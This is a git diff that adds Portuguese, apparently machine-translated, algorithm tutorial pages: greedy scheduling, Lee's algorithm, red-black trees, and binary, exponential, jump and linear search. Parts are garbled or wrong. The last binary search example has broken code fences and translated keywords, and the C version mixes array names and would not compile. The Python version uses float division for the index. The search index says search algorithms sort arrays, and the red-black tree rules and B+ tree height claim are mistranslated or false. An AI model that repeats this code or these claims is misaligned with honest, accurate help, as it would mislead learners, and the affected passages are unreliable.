+*   Digamos que o tempo de conclusão de uma programação seja o primeiro momento em que todos os participantes terminarão com as três pernas do triatlo, supondo que as projeções de tempo sejam precisas. Qual é a melhor ordem para enviar pessoas, se alguém quiser que toda a competição termine o mais rápido possível? Mais precisamente, forneça um algoritmo eficiente que produza um cronograma cujo tempo de conclusão seja o menor possível
+    
+
+### O problema do agendamento de palestras
+
+Vamos examinar as várias abordagens para resolver esse problema.
+
+1.  **Primeira Hora de Início Primeiro,** ou seja, selecione o intervalo que tem a hora de início mais antiga. Dê uma olhada no exemplo a seguir que quebra essa solução. Essa solução falhou porque pode haver um intervalo que começa muito cedo, mas isso é muito longo. Isso significa que a próxima estratégia que poderíamos tentar seria onde nós olhamos em intervalos menores primeiro. ![Primeiras Horas Iniciais Primeiro](https://algorithmsandme.files.wordpress.com/2015/03/f268b-jobs.png?w=840)
+    
+2.  **Intervalo Menor Primeiro,** ou seja, você acaba selecionando as palestras na ordem de seu intervalo geral, que não é nada além do `finish time - start time` . Mais uma vez, esta solução não está correta. Olhe o seguinte caso. ![Intervalo mais curto primeiro](https://i.stack.imgur.com/4bz2N.png)
+    
+
+Você pode ver claramente que a palestra de intervalo mais curta é a do meio, mas essa não é a solução ideal aqui. Vamos ver outra solução para esse problema, derivando insights dessa solução.
+
+3.  **Intervalo de Conflito Menor Primeiro,** ou seja, você deve procurar intervalos que causem o menor número de conflitos. Mais uma vez, temos um exemplo em que essa abordagem não consegue encontrar uma solução ideal. ![Intervalo menos conflitante primeiro](https://i.stack.imgur.com/5LZ9V.png)
+
+O diagrama nos mostra que o intervalo menos conflitante é aquele no meio com apenas 2 conflitos. Depois disso, só podemos escolher os dois intervalos nas extremidades com conflitos 3 cada. Mas a melhor solução é escolher os 4 intervalos no nível mais alto.
+
+4.  **Primeiro tempo de acabamento primeiro** . Essa é a abordagem que sempre nos fornece a solução mais adequada para esse problema. Nós obtivemos muitos insights de abordagens anteriores e finalmente chegamos a essa abordagem. Classificamos os intervalos de acordo com a ordem crescente de seus tempos de acabamento e então começamos a selecionar os intervalos desde o início. Veja o seguinte pseudocódigo para mais clareza.
+```
+function interval_scheduling_problem(requests) 
+    schedule \gets \{\} 
+    while requests is not yet empty 
+        choose a request i_r \in requests that has the lowest finishing time 
+        schedule \gets schedule \cup \{i_r\} 
+        delete all requests in requests that are not compatible with i_r 
+    end 
+    return schedule 
+ end 
+```
+
+## Quando usamos Algoritmos Greedy?
+
+Algoritmos Greedy podem ajudá-lo a encontrar soluções para muitos problemas aparentemente difíceis. O único problema com eles é que você pode encontrar a solução correta, mas talvez não consiga verificar se é a correta. Todos os problemas gananciosos compartilham uma propriedade comum que um ótimo local pode eventualmente levar a um mínimo global sem reconsiderar o conjunto de escolhas já considerado.
+
+Algoritmos Greedy nos ajudam a resolver muitos tipos diferentes de problemas. Fique atento aos próximos tutoriais sobre cada um deles.
+
+1.  Problema do caminho mais curto.
+2.  Problema Mínimo da Árvore de Abrangência em um Gráfico.
+3.  Problema de codificação de Huffman.
+4.  Problema de K Centers
+
+#### Mais Informações:
+
+ [![Problemas gananciosos](http://img.youtube.com/vi/HzeK7g8cD0Y/0.jpg)](https://www.youtube.com/watch?v=HzeK7g8cD0Y) 
+
+ [![Problemas gananciosos](http://img.youtube.com/vi/poWB2UCuozA/0.jpg)](https://www.youtube.com/watch?v=poWB2UCuozA)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/index.md b/client/src/guide/portuguese/algorithms/index.md
new file mode 100644
index 0000000000..679ae67d70
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/index.md
@@ -0,0 +1,53 @@
+---
+title: Algorithms
+localeTitle: Algoritmos
+---
+## Algoritmos
+
+Na ciência da computação, um algoritmo é uma especificação inequívoca de como resolver uma classe de problemas. Algoritmos podem realizar cálculos, processamento de dados e tarefas de raciocínio automatizado.
+
+Um algoritmo é um método efetivo que pode ser expresso dentro de uma quantidade finita de espaço e tempo e em uma linguagem formal bem definida para o cálculo de uma função. Partindo de um estado inicial e de uma entrada inicial (talvez vazia), as instruções descrevem uma computação que, quando executada, passa por um número finito de estados sucessivos bem definidos, produzindo eventualmente "saída" e terminando em um estado final final. A transição de um estado para o outro não é necessariamente determinista; alguns algoritmos, conhecidos como algoritmos aleatórios, incorporam entrada aleatória.
+
+Existem certos requisitos que um algoritmo deve respeitar:
+
+1.  Definitividade: Cada passo no processo é precisamente indicado.
+2.  Computabilidade efetiva: Cada etapa do processo pode ser executada por um computador.
+3.  Finiteness: O programa terminará com sucesso.
+
+Alguns tipos comuns de algoritmos incluem algoritmos de classificação, algoritmos de pesquisa e algoritmos de compactação. As classes de algoritmos incluem Gráfico, Programação Dinâmica, Classificação, Pesquisa, Strings, Matemática, Geometria Computacional, Otimização e Diversos. Embora tecnicamente não seja uma classe de algoritmos, as Estruturas de Dados geralmente são agrupadas com elas.
+
+### Eficiência
+
+Os algoritmos são mais comumente julgados pela sua eficiência e pela quantidade de recursos computacionais necessários para concluir sua tarefa. Uma maneira comum de avaliar um algoritmo é analisar sua complexidade temporal. Isso mostra como o tempo de execução do algoritmo aumenta à medida que o tamanho da entrada aumenta. Como os algoritmos atuais precisam operar com grandes entradas de dados, é essencial que nossos algoritmos tenham um tempo de execução razoavelmente rápido.
+
+### Algoritmos de Ordenação
+
+Algoritmos de classificação vêm em vários sabores, dependendo da sua necessidade. Alguns, muito comuns e amplamente utilizados são:
+
+#### Ordenação rápida
+
+Não há discussão de classificação que possa terminar sem ordenação rápida. O conceito básico está no link abaixo. [Ordenação rápida](http://me.dt.in.th/page/Quicksort/)
+
+#### Merge Sort
+
+É o algoritmo de classificação que se baseia no conceito de como as matrizes ordenadas são mescladas para fornecer uma matriz ordenada. Leia mais sobre isso aqui- [Merge Sort](https://www.geeksforgeeks.org/merge-sort/)
+
+O currículo do freeCodeCamp enfatiza fortemente a criação de algoritmos. Isso ocorre porque os algoritmos de aprendizado são uma boa maneira de praticar habilidades de programação. Em geral, os entrevistadores testam candidatos em algoritmos durante entrevistas de emprego de desenvolvedores.
+
+### Mais recursos
+
+[Introdução aos Algoritmos | Crash Course: Ciência da Computação](https://www.youtube.com/watch?v=rL8X2mlNHPM)
+
+Este vídeo fornece uma introdução acessível e animada a algoritmos com foco na classificação e no gráfico de algoritmos de pesquisa.
+
+[O que é um algoritmo e por que você deve se importar? | Khan Academy](https://www.youtube.com/watch?v=CvSOaYi89B4)
+
+Este vídeo apresenta algoritmos e discute brevemente alguns usos de alto perfil deles.
+
+[15 Algoritmos de Ordenação em 6 Minutos | Timo Bingmann](https://www.youtube.com/watch?v=kPRA0W1kECg)
+
+Este vídeo demonstra visualmente alguns algoritmos de classificação populares que são comumente ensinados em cursos de programação e ciência da computação.
+
+[Visualizador de Algoritmo](http://algo-visualizer.jasonpark.me)
+
+Este também é um projeto de código aberto muito bom que ajuda você a visualizar algoritmos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/lee-algorithm/index.md b/client/src/guide/portuguese/algorithms/lee-algorithm/index.md
new file mode 100644
index 0000000000..b95951e418
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/lee-algorithm/index.md
@@ -0,0 +1,61 @@
+---
+title: Lee's Algorithm
+localeTitle: Algoritmo de Lee
+---
+## Algoritmo de Lee
+
+O algoritmo de Lee é uma solução possível para problemas de roteamento de labirinto. Sempre dá uma solução ótima, se existir, mas é lento e requer grande memória para layout denso.
+
+### Entendendo como funciona
+
+O algoritmo é um algoritmo baseado em `breadth-first` que usa `queues` para armazenar as etapas. Geralmente, ele usa as seguintes etapas:
+
+1.  Escolha um ponto de partida e adicione-o à fila.
+2.  Adicione as células vizinhas válidas à fila.
+3.  Remova a posição da fila e continue até o próximo elemento.
+4.  Repita as etapas 2 e 3 até que a fila esteja vazia.
+
+### Implementação
+
+O C ++ já tem a fila implementada na biblioteca `<queue>` , mas se você estiver usando algo mais, será bem-vindo para implementar sua própria versão da fila.
+
+Código C ++:
+
+```c++
+int dl[] = {-1, 0, 1, 0}; // these arrays will help you travel in the 4 directions more easily 
+ int dc[] = {0, 1, 0, -1}; 
+ 
+ queue<int> X, Y; // the queues used to get the positions in the matrix 
+ 
+ X.push(start_x); //initialize the queues with the start position 
+ Y.push(start_y); 
+ 
+ void lee() 
+ { 
+  int x, y, xx, yy; 
+  while(!X.empty()) // while there are still positions in the queue 
+  { 
+    x = X.front(); // set the current position 
+    y = Y.front(); 
+    for(int i = 0; i < 4; i++) 
+    { 
+      xx = x + dl[i]; // travel in an adiacent cell from the current position 
+      yy = y + dc[i]; 
+      if('position is valid') //here you should insert whatever conditions should apply for your position (xx, yy) 
+      { 
+          X.push(xx); // add the position to the queue 
+          Y.push(yy); 
+          mat[xx][yy] = -1; // you usually mark that you have been to this position in the matrix 
+      } 
+ 
+    } 
+ 
+    X.pop(); // eliminate the first position, as you have no more use for it 
+    Y.pop(); 
+ 
+  } 
+ 
+ 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/red-black-trees/index.md b/client/src/guide/portuguese/algorithms/red-black-trees/index.md
new file mode 100644
index 0000000000..214310512b
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/red-black-trees/index.md
@@ -0,0 +1,37 @@
+---
+title: Red Black Trees
+localeTitle: Árvores pretas vermelhas
+---
+## Árvores pretas vermelhas
+
+Red-Black Tree é uma Árvore de Busca Binária (BST) de auto balanceamento onde cada nó segue as seguintes regras.
+
+1.  Cada nó tem dois filhos, coloridos de vermelho ou preto.
+2.  Cada nó da folha da árvore é sempre preto.
+3.  Cada nó vermelho tem os dois filhos coloridos de preto.
+4.  Não há dois nós vermelhos adjacentes (um nó vermelho não pode ter um pai vermelho ou um filho vermelho).
+5.  Cada caminho da raiz para um nó de folha de árvore tem o mesmo número de nós pretos (chamado de "altura negra").
+
+Estilo de referência: ![alt text](https://upload.wikimedia.org/wikipedia/commons/thumb/a/ab/Fibonacci_Tree_as_Red-Black_Tree.svg/2000px-Fibonacci_Tree_as_Red-Black_Tree.svg.png "Exemplo de Fibonacci de árvores pretas vermelhas")
+
+### Por que árvores vermelhas e pretas?
+
+A maioria das operações do BST (por exemplo, busca, max, min, insert, delete ... etc) tomam o tempo O (h) onde h é a altura do BST. O custo dessas operações pode se tornar O (n) para uma árvore binária distorcida. Se nos certificarmos de que a altura da árvore permanece O (Logn) após cada inserção e exclusão, então podemos garantir um limite superior de O (Logn) para todas essas operações. A altura de uma árvore Red Black é sempre O (Logn), onde n é o número de nós na árvore.
+
+### Comparação com o AVL Tree
+
+As árvores AVL são mais equilibradas em comparação com as árvores pretas vermelhas, mas podem causar mais rotações durante a inserção e a exclusão. Portanto, se o seu aplicativo envolver muitas inserções e exclusões frequentes, as árvores Red Black devem ser preferidas. E se as inserções e exclusões forem menos frequentes e a pesquisa for uma operação mais freqüente, a árvore do AVL deverá ser preferida em relação à Red Black Tree.
+
+### Árvore vermelha-preta de inclinação esquerda
+
+Uma árvore esquerda-vermelha (LLRB) é um tipo de árvore de busca binária de autoequilíbrio. É uma variante da árvore vermelho-preto e garante a mesma complexidade assintótica para operações, mas foi projetada para ser mais fácil de implementar.
+
+### Propriedades das árvores vermelhas e pretas inclinadas à esquerda
+
+Todos os algoritmos de árvore vermelho-preto que foram propostos são caracterizados por um tempo de busca de pior caso limitado por um múltiplo constante pequeno de log N em uma árvore de N chaves, e o comportamento observado na prática é tipicamente aquele mesmo múltiplo mais rápido que o pior caso ligado, próximo aos nós log ótimos examinados, que seriam observados em uma árvore perfeitamente balanceada.
+
+Especificamente, em uma árvore 2-3 vermelho-preto inclinada para a esquerda construída a partir de N chaves aleatórias: -> Uma busca bem sucedida aleatória examina log2 N - 0.5 nós. -> A altura média da árvore é de cerca de 2 log2 N
+
+#### Mais Informações:
+
+*   [Vídeo de Algoritmos e Estruturas de Dados](https://www.youtube.com/watch?v=2Ae0D6EXBV4)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/search-algorithms/binary-search/index.md b/client/src/guide/portuguese/algorithms/search-algorithms/binary-search/index.md
new file mode 100644
index 0000000000..5ac7f763f9
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/search-algorithms/binary-search/index.md
@@ -0,0 +1,268 @@
+---
+title: Binary Search
+localeTitle: Pesquisa binária
+---
+## Pesquisa binária
+
+Uma pesquisa binária localiza um item em uma matriz ordenada dividindo repetidamente o intervalo de pesquisa pela metade.
+
+Como você pesquisa um nome em uma lista telefônica?
+
+Uma maneira seria começar a partir da primeira página e ver cada nome na lista telefônica até encontrarmos o que estamos procurando. Mas isso seria uma maneira extremamente laboriosa e ineficiente de pesquisar.
+
+Como sabemos que os nomes da lista telefônica são classificados em ordem alfabética, provavelmente poderíamos trabalhar nos seguintes passos:
+
+1.  Abra a página do meio da agenda
+2.  Se tiver o nome que estamos procurando, estamos prontos!
+3.  Caso contrário, jogue fora a metade da agenda que não contém o nome
+4.  Repita até encontrar o nome ou não há mais páginas na lista telefônica
+
+Complexidade de tempo: Como descartamos uma parte do caso de pesquisa durante cada etapa da pesquisa binária e executamos a operação de pesquisa na outra metade, isso resulta em uma complexidade de tempo de pior caso de _O_ ( _log 2 N_ ).
+
+Complexidade de espaço: A pesquisa binária leva constante ou _O_ ( _1_ ) espaço, o que significa que não definimos qualquer variável relacionada ao tamanho de entrada.
+
+para pequenos conjuntos, a pesquisa linear é melhor, mas em grandes, é muito mais eficiente usar a pesquisa binária.
+
+Em detalhes, quantas vezes você pode dividir N por 2 até ter 1? Essencialmente, isso significa fazer uma pesquisa binária (metade dos elementos) até encontrá-la. Em uma fórmula, isso seria:
+```
+1 = N / 2x 
+```
+
+Multiplique por 2x:
+```
+2x = N 
+```
+
+Agora faça o log2:
+```
+log2(2x)    = log2 N 
+ x * log2(2) = log2 N 
+ x * 1       = log2 N 
+```
+
+Isso significa que você pode dividir o log N vezes até que você tenha tudo dividido. O que significa que você tem que dividir o log N ("faça a etapa de busca binária") até encontrar seu elemento.
+
+_O_ ( _log 2 N_ ) é assim porque em cada etapa a metade dos elementos no conjunto de dados desapareceu, o que é justificado pela base da função logarítmica.
+
+Este é o algoritmo de busca binária. É elegante e eficiente, mas para funcionar corretamente, a matriz deve ser **classificada** .
+
+* * *
+
+Encontre 5 na matriz de números fornecida usando a pesquisa binária.
+
+![Pesquisa Binária 1](https://i.imgur.com/QAuugOL.jpg)
+
+Marque as posições baixa, alta e média na matriz.
+
+![Pesquisa Binária 2](https://i.imgur.com/1710fEx.jpg)
+
+Compare o item que você está procurando com o elemento do meio.
+
+![Pesquisa Binária 3](https://i.imgur.com/jr4icze.jpg)
+
+Jogue fora a metade esquerda e olhe na metade direita.
+
+![Pesquisa Binária 4](https://i.imgur.com/W57lGsk.jpg)
+
+Mais uma vez compare com o elemento do meio.
+
+![Pesquisa Binária 5](https://i.imgur.com/5Twm8NE.jpg)
+
+Agora, vá para a metade esquerda.
+
+![Pesquisa Binária 6](https://i.imgur.com/01xetay.jpg)
+
+O elemento do meio é o item que estávamos procurando!
+
+O algoritmo de busca binária adota uma abordagem de divisão e conquista em que a matriz é continuamente dividida até que o item seja encontrado ou até que não haja mais elementos para a verificação. Portanto, esse algoritmo pode ser definido recursivamente para gerar uma solução elegante.
+
+Os dois casos básicos para recursão seriam:
+
+*   Não há mais elementos restantes na matriz
+*   Item é encontrado
+
+O poder da pesquisa binária em sistemas de dados (árvores B +): As árvores de pesquisa binária são muito poderosas por causa de seus tempos de pesquisa O (log n), depois da estrutura de dados hashmap que usa uma chave de hashing para pesquisar dados em O (1). É importante entender como o tempo de execução do log n vem da altura de uma árvore de pesquisa binária. Se cada nó se dividir em dois nós (binário), a profundidade da árvore será log n (base 2). Para melhorar essa velocidade no Data System, usamos árvores B + porque elas têm um fator de ramificação maior e portanto, mais altura. Espero que este pequeno artigo ajude a expandir sua mente sobre como a pesquisa binária é usada em sistemas práticos.
+
+O código para pesquisa binária recursiva é mostrado abaixo:
+
+### Implementação Javascript
+
+```javascript
+function binarySearch(arr, item, low, high) { 
+    if (low > high) { // No more elements in the array. 
+        return null; 
+    } 
+ 
+    // Find the middle of the array. 
+    var mid = Math.ceil((low + high) / 2); 
+ 
+    if (arr[mid] === item) { // Found the item! 
+        return mid; 
+    } 
+ 
+    if (item < arr[mid]) { // Item is in the half from low to mid-1. 
+        return binarySearch(arr, item, low, mid-1); 
+    } 
+ 
+    else { // Item is in the half from mid+1 to high. 
+        return binarySearch(arr, item, mid+1, high); 
+    } 
+ } 
+ 
+ var numbers = [1,2,3,4,5,6,7]; 
+ print(binarySearch(numbers, 5, 0, numbers.length-1)); 
+```
+
+Aqui está outra implementação em Javascript:
+
+```Javascript
+function binary_search(a, v) { 
+    function search(low, high) { 
+        if (low === high) { 
+            return a[low] === v; 
+        } else { 
+            var mid = math_floor((low + high) / 2); 
+            return (v === a[mid]) 
+                   || 
+                   (v < a[mid]) 
+                   ? search(low, mid - 1) 
+                   : search(mid + 1, high); 
+        } 
+    } 
+    return search(0, array_length(a) - 1); 
+ } 
+```
+
+### Implementação Ruby
+
+```ruby
+def binary_search(target, array) 
+  sorted_array = array.sort 
+  low = 0 
+  high = (sorted_array.length) - 1 
+ 
+  while high >= low 
+    middle = (low + high) / 2 
+ 
+    if target > sorted_array[middle] 
+      low = middle + 1 
+    elsif target < sorted_array[middle] 
+      high = middle - 1 
+    else 
+      return middle 
+    end 
+  end 
+  return nil 
+ end 
+```
+
+### Exemplo em C
+
+```C
+int binarySearch(int a[], int l, int r, int x) { 
+   if (r >= l){ 
+        int mid = l + (r - l)/2; 
+        if (a[mid] == x) 
+            return mid; 
+        if (arr[mid] > x) 
+            return binarySearch(arr, l, mid-1, x); 
+        return binarySearch(arr, mid+1, r, x); 
+   } 
+   return -1; 
+ } 
+```
+
+### Implementação C / C ++
+
+```C++
+int binary_search(int arr[], int l, int r, int target) 
+ { 
+   if (r >= l) 
+   { 
+        int mid = l + (r - l)/2; 
+        if (arr[mid] == target) 
+            return mid; 
+        if (arr[mid] > target) 
+            return binary_search(arr, l, mid-1, target); 
+        return binary_search(arr, mid+1, r, target); 
+   } 
+   return -1; 
+ } 
+```
+
+### Implementação em Python
+
+```Python
+def binary_search(arr, l, r, target): 
+    if r >= l: 
+        mid = l + (r - l)/2 
+        if arr[mid] == target: 
+            return mid 
+        elif arr[mid] > target: 
+            return binary_search(arr, l, mid-1, target) 
+        else: 
+            return binary_search(arr, mid+1, r, target) 
+    else: 
+        return -1 
+```
+
+### Exemplo em C ++
+
+```c++
+// Binary Search using iteration 
+ int binary_search(int arr[], int beg, int end, int num) 
+ { 
+    while(beg <= end){ 
+        int mid = (beg + end) / 2; 
+        if(arr[mid] == num) 
+            return mid; 
+        else if(arr[mid] < num) 
+            beg = mid + 1; 
+        else 
+            end = mid - 1; 
+    } 
+    return -1; 
+ } 
+```
+
+```c++
+// Binary Search using recursion 
+ int binary_search(int arr[], int beg, int end, int num) 
+ { 
+    if(beg <= end){ 
+        int mid = (beg + end) / 2; 
+        if(arr[mid] == num) 
+            return mid; 
+        else if(arr[mid] < num) 
+            return binary_search(arr, mid + 1, end, num); 
+        else 
+            return binary_search(arr, beg, mid - 1, num); 
+    } 
+    return -1; 
+ } 
+```
+
+### Exemplo em C ++
+
+Abordagem recursiva!
+
+\`\` \`C ++ - abordagem recursiva int binarySearch (int arr \[\], int início, int fim, int x) { if (end> = start) { int mid = start + (end - start) / 2; if (arr \[meio\] == x)  
+retorno no meio;
+```
+    if (arr[mid] > x) 
+        return binarySearch(arr, start, mid-1, x); 
+ 
+    return binarySearch(arr, mid+1, end, x); 
+```
+
+} return -1; }
+```
+Iterative approach! 
+```
+
+C ++ - abordagem iterativa int binarySearch (int arr \[\], int início, int fim, int x) { while (início <= fim) { int mid = start + (end - start) / 2; if (arr \[meio\] == x) retorno no meio; if (arr \[mid\] <x) start = mid + 1; outro end = mid - 1; } return -1; } \`\` \`
+
+### Mais Informações
+
+*   [Pesquisa binária (vídeo do YouTube)](https://youtu.be/P3YID7liBug)
+*   [Pesquisa binária - CS50](https://www.youtube.com/watch?v=5xlIPT1FRcA)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/search-algorithms/exponential-search/index.md b/client/src/guide/portuguese/algorithms/search-algorithms/exponential-search/index.md
new file mode 100644
index 0000000000..74e87c805b
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/search-algorithms/exponential-search/index.md
@@ -0,0 +1,95 @@
+---
+title: Exponential Search
+localeTitle: Pesquisa Exponencial
+---
+## Pesquisa Exponencial
+
+Pesquisa Exponencial também conhecida como busca por dedo, busca por um elemento em um array ordenado, saltando `2^i` elementos a cada iteração onde eu represente o valor da variável de controle de loop e, em seguida, verificar se o elemento de pesquisa está presente entre o último salto e o salto atual
+
+# Caso Pior da Complexidade
+
+O (log (N)) Muitas vezes confuso por causa do nome, o algoritmo é chamado assim não por causa da complexidade do tempo. O nome surge como resultado do algoritmo saltando elementos com passos iguais a expoentes de 2
+
+# Trabalho
+
+1.  Pule a matriz `2^i` elementos de uma vez pesquisando a condição `Array[2^(i-1)] < valueWanted < Array[2^i]` . Se `2^i` for maior que o comprimento da matriz, defina o limite superior para o comprimento da matriz.
+2.  Faça uma busca binária entre `Array[2^(i-1)]` e `Array[2^i]`
+
+# Código
+```
+// C++ program to find an element x in a 
+ // sorted array using Exponential search. 
+ #include <bits/stdc++.h> 
+ using namespace std; 
+ 
+ int binarySearch(int arr[], int, int, int); 
+ 
+ // Returns position of first ocurrence of 
+ // x in array 
+ int exponentialSearch(int arr[], int n, int x) 
+ { 
+    // If x is present at firt location itself 
+    if (arr[0] == x) 
+        return 0; 
+ 
+    // Find range for binary search by 
+    // repeated doubling 
+    int i = 1; 
+    while (i < n && arr[i] <= x) 
+        i = i*2; 
+ 
+    //  Call binary search for the found range. 
+    return binarySearch(arr, i/2, min(i, n), x); 
+ } 
+ 
+ // A recursive binary search function. It returns 
+ // location of x in  given array arr[l..r] is 
+ // present, otherwise -1 
+ int binarySearch(int arr[], int l, int r, int x) 
+ { 
+    if (r >= l) 
+    { 
+        int mid = l + (r - l)/2; 
+ 
+        // If the element is present at the middle 
+        // itself 
+        if (arr[mid] == x) 
+            return mid; 
+ 
+        // If element is smaller than mid, then it 
+        // can only be present n left subarray 
+        if (arr[mid] > x) 
+            return binarySearch(arr, l, mid-1, x); 
+ 
+        // Else the element can only be present 
+        // in right subarray 
+        return binarySearch(arr, mid+1, r, x); 
+    } 
+ 
+    // We reach here when element is not present 
+    // in array 
+    return -1; 
+ } 
+ 
+ int main(void) 
+ { 
+   int arr[] = {2, 3, 4, 10, 40}; 
+   int n = sizeof(arr)/ sizeof(arr[0]); 
+   int x = 10; 
+   int result = exponentialSearch(arr, n, x); 
+   (result == -1)? printf("Element is not present in array") 
+                 : printf("Element is present at index %d", result); 
+   return 0; 
+ } 
+```
+
+# Mais Informações
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Exponential_search)
+    
+*   [GeeksForGeeks](https://www.geeksforgeeks.org/exponential-search/)
+    
+
+# Créditos
+
+[Implementação de C ++](https://www.wikitechy.com/technology/exponential-search/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/search-algorithms/index.md b/client/src/guide/portuguese/algorithms/search-algorithms/index.md
new file mode 100644
index 0000000000..a63f5b537f
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/search-algorithms/index.md
@@ -0,0 +1,21 @@
+---
+title: Search Algorithms
+localeTitle: Algoritmos de Pesquisa
+---
+## Algoritmos de Pesquisa
+
+Em ciência da computação, um algoritmo de busca é qualquer algoritmo que solucione o problema de Busca, ou seja, recuperar informações armazenadas em alguma estrutura de dados ou calculadas no espaço de busca de um domínio de problema. Exemplos de tais estruturas incluem listas vinculadas, estruturas de dados de matriz, árvores de pesquisa e muito mais. O algoritmo de pesquisa apropriado geralmente depende da estrutura de dados que está sendo pesquisada, mas também do conhecimento prévio sobre os dados. [Mais na wikipedia](https://en.wikipedia.org/wiki/Search_algorithm) .
+
+Esse tipo de algoritmo analisa o problema de reorganizar uma matriz de itens em ordem crescente. Os dois exemplos mais clássicos disso são a busca binária e o algoritmo de ordenação por fusão.
+
+Nos links a seguir, você também pode encontrar mais informações sobre:
+
+*   Pesquisa binária
+*   Pesquisa Linear
+*   Pesquisando listas vinculadas vs arrays
+
+#### Mais Informações:
+
+*   MIT OCW Introdução aos algoritmos de [busca](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-01sc-introduction-to-electrical-engineering-and-computer-science-i-spring-2011/unit-4-probability-and-planning/search-algorithms/) .
+*   Universidade de Princeton: [classificação e pesquisa.](https://introcs.cs.princeton.edu/java/42sort/)
+*   A anatomia de um mecanismo de busca [(Google).](http://infolab.stanford.edu/~backrub/google.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/search-algorithms/jump-search/index.md b/client/src/guide/portuguese/algorithms/search-algorithms/jump-search/index.md
new file mode 100644
index 0000000000..9a3878da5f
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/search-algorithms/jump-search/index.md
@@ -0,0 +1,29 @@
+---
+title: Jump Search
+localeTitle: Pesquisa de salto
+---
+## Pesquisa de salto
+
+Uma pesquisa de salto localiza um item em uma matriz ordenada pulando k itens e, em seguida, verifica se o item desejado está entre o salto anterior e o salto atual.
+
+# Caso Pior da Complexidade
+
+O (√N)
+
+# Trabalho
+
+1.  Defina o valor de k, o número do salto: O tamanho ideal do salto é √N, onde o N é o comprimento do array
+2.  Salta o array k-by-k pesquisando pela condição `Array[i] < valueWanted < Array[i+k]`
+3.  Faça uma pesquisa linear entre `Array[i]` e `Array[i + k]`
+
+![Pesquisa de Salto 1](https://i1.wp.com/theoryofprogramming.com/wp-content/uploads/2016/11/jump-search-1.jpg?resize=676%2C290)
+
+# Código
+
+Para ver exemplos de implementação de código deste método, acesse este link abaixo:
+
+[Pesquisa de salto - OpenGenus / cosmos](https://github.com/OpenGenus/cosmos/tree/master/code/search/jump_search)
+
+# Créditos
+
+[A imagem da matriz da lógica](http://theoryofprogramming.com/2016/11/10/jump-search-algorithm/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/search-algorithms/linear-search/index.md b/client/src/guide/portuguese/algorithms/search-algorithms/linear-search/index.md
new file mode 100644
index 0000000000..2ab722c466
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/search-algorithms/linear-search/index.md
@@ -0,0 +1,140 @@
+---
+title: Linear Search
+localeTitle: Pesquisa Linear
+---
+## Pesquisa Linear
+
+Suponha que você receba uma lista ou uma matriz de itens. Você está procurando por um item em particular. Como você faz isso?
+
+Encontre o número 13 na lista dada.
+
+![Pesquisa Linear 1](https://i.imgur.com/ThkzYEV.jpg)
+
+Você apenas olha para a lista e aí está!
+
+![Pesquisa Linear 2](https://i.imgur.com/K7HfCly.jpg)
+
+Agora, como você diz a um computador para encontrá-lo?
+
+Um computador não pode olhar mais do que o valor em um determinado instante de tempo. Então, é preciso um item da matriz e verifica se é o mesmo que você está procurando.
+
+![Pesquisa Linear 3](https://i.imgur.com/ZOSxeZD.jpg)
+
+O primeiro item não coincidiu. Então, mude para o próximo.
+
+![Pesquisa Linear 4](https://i.imgur.com/SwKsPxD.jpg)
+
+E assim por diante…
+
+Isso é feito até que uma correspondência seja encontrada ou até que todos os itens tenham sido verificados.
+
+![Pesquisa Linear 5](https://i.imgur.com/3AaViff.jpg)
+
+Neste algoritmo, você pode parar quando o item é encontrado e, em seguida, não há necessidade de procurar mais.
+
+Então, quanto tempo levaria para fazer a operação de busca linear? Na melhor das hipóteses, você poderia ter sorte e o item que você está olhando talvez na primeira posição na matriz! Mas, na pior das hipóteses, você teria que olhar para cada item antes de encontrar o item no último lugar ou antes de perceber que o item não está na matriz.
+
+A complexidade, portanto, da pesquisa linear é: O (n).
+
+Se o elemento a ser pesquisado preside o primeiro bloco de memória, a complexidade seria: O (1).
+
+O código para uma função de pesquisa linear em JavaScript é mostrado abaixo. Esta função retorna a posição do item que estamos procurando no array. Se o item não estiver presente na matriz, a função retornará null.
+
+### Exemplo em Javascript
+
+```javascript
+function linearSearch(arr, item) { 
+  // Go through all the elements of arr to look for item. 
+  for (var i = 0; i < arr.length; i++) { 
+    if (arr[i] === item) { // Found it! 
+      return i; 
+    } 
+  } 
+ 
+  // Item not found in the array. 
+  return null; 
+ } 
+```
+
+### Exemplo em Ruby
+
+```ruby
+def linear_search(target, array) 
+  counter = 0 
+ 
+  while counter < array.length 
+    if array[counter] == target 
+      return counter 
+    else 
+      counter += 1 
+    end 
+  end 
+  return nil 
+ end 
+```
+
+### Exemplo em C ++
+
+```c++
+int linear_search(int arr[],int n,int num) 
+ { 
+    for(int i=0;i<n;i++){ 
+        if(arr[i]==num) 
+            return i; 
+   } 
+   // Item not found in the array 
+   return -1; 
+ } 
+```
+
+### Exemplo em Python
+
+```python
+def linear_search(array, num): 
+    for i in range(len(array)): 
+        if (array[i]==num): 
+            return i 
+    return -1 
+```
+
+## Pesquisa Linear Global
+
+E se você estiver pesquisando as várias ocorrências de um elemento? Por exemplo, você quer ver quantos 5 estão em uma matriz.
+
+Alvo = 5
+
+Matriz = \[1, 2, 3, 4, 5, 6, 5, 7, 8, 9, 5\]
+
+Este array tem 3 ocorrências de 5s e queremos retornar os índices (onde estão no array) de todos eles. Isso é chamado de pesquisa linear global e você precisará ajustar seu código para retornar uma matriz dos pontos de índice nos quais ele encontra o elemento de destino. Quando você encontrar um elemento de índice que corresponda ao seu destino, o ponto de índice (contador) será adicionado na matriz de resultados. Se não corresponder, o código continuará a avançar para o próximo elemento da matriz, adicionando 1 ao contador.
+
+```ruby
+def global_linear_search(target, array) 
+  counter = 0 
